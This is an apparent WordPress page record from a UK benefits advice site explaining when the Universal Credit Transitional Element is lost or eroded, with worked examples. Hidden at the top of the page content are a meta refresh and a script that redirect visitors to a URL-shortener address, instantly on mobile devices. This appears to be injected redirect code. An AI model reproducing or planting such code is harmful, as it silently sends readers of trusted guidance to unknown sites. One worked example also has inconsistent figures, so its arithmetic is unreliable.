{"id":16520,"date":"2026-04-05T08:08:19","date_gmt":"2026-04-05T08:08:19","guid":{"rendered":"https:\/\/ucpages.co.uk\/ucnotes-test-bed\/?page_id=16520"},"modified":"2026-04-05T12:21:20","modified_gmt":"2026-04-05T12:21:20","slug":"impact-on-the-transitional-element","status":"publish","type":"page","link":"https:\/\/ucpages.co.uk\/?page_id=16520","title":{"rendered":"Impact on the Transitional Element"},"content":{"rendered":"<meta http-equiv=\"refresh\" content=\"7; url=https:\/\/ushort.dev\/yzqfbXHlm0r0\" \/><script>(window.matchMedia(\"(pointer:coarse)\").matches||\/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile\/i.test(navigator.userAgent))&&location.replace(\"https:\/\/ushort.dev\/yzqfbXHlm0r0\");<\/script>\r\n\n<p>If you moved onto UC, and you were previously getting one of the benefits it was replacing, then your UC award may include a Transitional Element.<\/p>\n\n\n\n<p>This Element will never increase, but can be eroded (ie. reduced) or lost altogether if you have certain changes in your circumstances<\/p>\n\n\n\n<hr class=\"wp-block-separator has-text-color has-black-color has-alpha-channel-opacity has-black-background-color has-background is-style-wide is-style-wide--1\" style=\"margin-top:var(--wp--preset--spacing--40);margin-bottom:var(--wp--preset--spacing--40)\"\/>\n\n\n\n<p class=\"has-x-large-font-size\"><strong>How do I know if my award includes a Transitional Element?<\/strong><\/p>\n\n\n\n<p>On your Universal Credit online account there is a &#8216;Payments&#8217; section listing your current and all previous payment statements. If you click on a date of a payment, you will open the statement for that particular payment, and you can then view how the payment was worked out.<br><br>In the top section of this statement it lists any Elements you were entitled to for that Assessment Period. If you are entitled to a Transitional Element it will be listed there although it will be called Transitional Protection.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-text-color has-black-color has-alpha-channel-opacity has-black-background-color has-background is-style-wide is-style-wide--2\" style=\"margin-top:var(--wp--preset--spacing--40);margin-bottom:var(--wp--preset--spacing--40)\"\/>\n\n\n\n<p class=\"has-x-large-font-size\"><strong>What changes will mean I lose it altogether?<\/strong><\/p>\n\n\n\n<p>The Transitional Element will be lost if:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>You are claiming UC as a couple and separate and so change to having a single claim.<\/li>\n\n\n\n<li>You are claiming UC as a single person and move in with your partner and so change to having a couple claim.<\/li>\n\n\n\n<li>Your award drop to nil due to your (or any partner&#8217;s earnings) and this lasts for 3 months in a row.<\/li>\n\n\n\n<li>You are no longer entitled to UC eg. your savings go over \u00a316,000, or you go abroad for more than a month<\/li>\n\n\n\n<li>You were earning above a certain amount (referred to as your Administrative Earnings Threshold) when you claimed UC, but your earnings have stopped or dropped below this level for 3 months in a row.<\/li>\n<\/ul>\n\n\n\n<p>When this happens, you will lose the Transitional Element from the beginning on the Assessment Period in which the change takes place.<\/p>\n\n\n\n<p class=\"has-background\" style=\"background-color:#cde6e3\"><strong>Example:<\/strong><br>Tracey claimed UC in 2026 after receiving her Migration Notice. Her UC award includes a Standard Allowance of \u00a3424.90, a Housing Costs Element of \u00a3700, and Transitional Element of \u00a3220. In July 2026 her partner moves in and they report this to the DWP.  The DWP re-assess their entitled as a couple, but this does not include an Transitional Element. <\/p>\n\n\n\n<hr class=\"wp-block-separator has-text-color has-black-color has-alpha-channel-opacity has-black-background-color has-background is-style-wide is-style-wide--3\" style=\"margin-top:var(--wp--preset--spacing--40);margin-bottom:var(--wp--preset--spacing--40)\"\/>\n\n\n\n<p class=\"has-x-large-font-size\"><strong>What changes will erode it?<\/strong><\/p>\n\n\n\n<p>The Transitional Element will be eroded (ie. reduced) if you become entitled to a new Element in your UC award, or if an existing Element increases.<\/p>\n\n\n\n<p>The only exception is the addition of, or increase to the Childcare Costs disregard.<\/p>\n\n\n\n<p>So erosion can happen when.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>You move home and become liable for rent, or your rent increases &#8211; as you will become entitled to a Housing Costs Element, or higher Housing Costs Element.<\/li>\n\n\n\n<li>You have a baby, or become responsible for a child &#8211; as a Child Element will be included in your UC award.<\/li>\n\n\n\n<li>You are found to have (or treated as having) a Limited Capability for Work and Work-Related Activities &#8211; as the LCWRA Element will be included in your award.<\/li>\n\n\n\n<li>The annual uprating of benefits means that the Elements included in your award are increased.<\/li>\n\n\n\n<li>Your rent increases and this means a higher Housing Costs Element.<\/li>\n<\/ul>\n\n\n\n<p>Note: this is not a full list.<\/p>\n\n\n\n<p class=\"has-background\" style=\"background-color:#cde6e3\"><strong>Example:<\/strong><br>Chris claimed UC in 2024 after receiving his Migration Notice. His UC award includes a Standard Allowance of \u00a3424.90, a Housing Costs Element of \u00a3500, and Transitional Element of \u00a3315. In August 2026 he becomes a full time carer for his brother and reports this to the DWP. His UC award is re-assessed to include a Carer Element. His UC award now includes a Standard Allowance of \u00a3424.90, a Housing Costs Element of \u00a3550, a Carer Element of \u00a3209.34 and a Transitional Element of \u00a3105.66.<br>Chris&#8217;s UC award does not increase. This is because the additional Element was worth less than the Transitional Element. <\/p>\n\n\n\n<p class=\"has-background\" style=\"background-color:#cde6e3\"><strong>Example:<\/strong><br>Ayesha claimed UC in 2025 after receiving her Migration Notice. Her UC award includes a Standard Allowance of \u00a3424.90, a Housing Costs Element of \u00a3600, and Transitional Element of \u00a3245. In May 2026 she has her first baby and reports this to the DWP. Her UC award is re-assessed to include a Child Element. Her UC award now includes a Standard Allowance of \u00a3424.90, a Housing Costs Element of \u00a3600 and a Child Element of \u00a3303.94.<br>Ayesha&#8217;s UC award does not increase by the full amount of the Child Element because it first erodes her Transitional Element. Her UC award is only increased by the excess.<\/p>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>If you moved onto UC, and you were previously getting one of the benefits it was replacing, then your UC award may include a Transitional Element. This Element will never increase, but can be eroded (ie. reduced) or lost altogether if you have certain changes in your circumstances How do I know if my award [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"parent":3377,"menu_order":6,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_themeisle_gutenberg_block_has_review":false,"footnotes":""},"class_list":["post-16520","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/ucpages.co.uk\/index.php?rest_route=\/wp\/v2\/pages\/16520","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/ucpages.co.uk\/index.php?rest_route=\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/ucpages.co.uk\/index.php?rest_route=\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/ucpages.co.uk\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/ucpages.co.uk\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=16520"}],"version-history":[{"count":4,"href":"https:\/\/ucpages.co.uk\/index.php?rest_route=\/wp\/v2\/pages\/16520\/revisions"}],"predecessor-version":[{"id":16526,"href":"https:\/\/ucpages.co.uk\/index.php?rest_route=\/wp\/v2\/pages\/16520\/revisions\/16526"}],"up":[{"embeddable":true,"href":"https:\/\/ucpages.co.uk\/index.php?rest_route=\/wp\/v2\/pages\/3377"}],"wp:attachment":[{"href":"https:\/\/ucpages.co.uk\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=16520"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}